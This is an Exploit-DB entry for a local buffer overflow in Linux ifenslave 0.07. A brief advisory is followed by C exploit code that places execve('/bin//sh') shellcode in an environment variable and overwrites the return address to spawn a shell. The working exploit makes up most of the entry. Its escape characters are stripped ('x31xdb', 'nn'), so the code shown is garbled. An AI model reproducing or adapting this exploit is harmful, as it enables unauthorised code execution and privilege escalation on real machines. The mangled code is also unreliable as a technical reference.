https://www.exploit-db.com/exploits/22644

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/7682/info
 
ifenslave for Linux has been reported prone to a buffer overflow vulnerability.
 
The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space.
 
It is possible for a local attacker to seize control of the vulnerable application and have malicious arbitrary code executed in the context of ifenslave. ifenslave is not installed setUID or setGID by default.
 
It should be noted that although this vulnerability has been reported to affect ifenslave version 0.07 previous versions might also be affected. 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFSIZE 40

char shellcode[] =
    "x31xdb"
    "x89xd8"
    "xb0x17"
    "xcdx80"
    "x31xdb"
    "x89xd8"
    "xb0x17"
    "xcdx80"
    "x31xdb"
    "x89xd8"
    "xb0x2e"
    "xcdx80"
    "x31xc0"
    "x50"
    "x68x2fx2fx73x68"
    "x68x2fx62x69x6e"
    "x89xe3"
    "x50"
    "x53"
    "x89xe1"
    "x31xd2"
    "xb0x0b"
    "xcdx80"
     "x31xdb"
    "x89xd8"
    "xb0x01"
    "xcdx80";

int main(void)
{
 char buf[BUFSIZE+10];
 char *prog[] = {"/sbin/ifenslave", buf, NULL};
 char *env[] = {"HOME=BLA", shellcode, NULL};

 printf("****************************************nn");
 printf("hi,guysnn");
 printf("Coded by jsk(阿坤）from ph4nt0m.netn");
 printf("Welcome to http://www.ph4nt0m.netnn");
 printf("****************************************nnn");

 unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
 strlen(shellcode) - 0x02;
 memset(buf,0x41,sizeof(buf));
 memcpy(buf+BUFSIZE+4,(char *)&ret,4);
 buf[BUFSIZE+8] = 0x00;
 execve(prog[0],prog,env);
 return 0;
}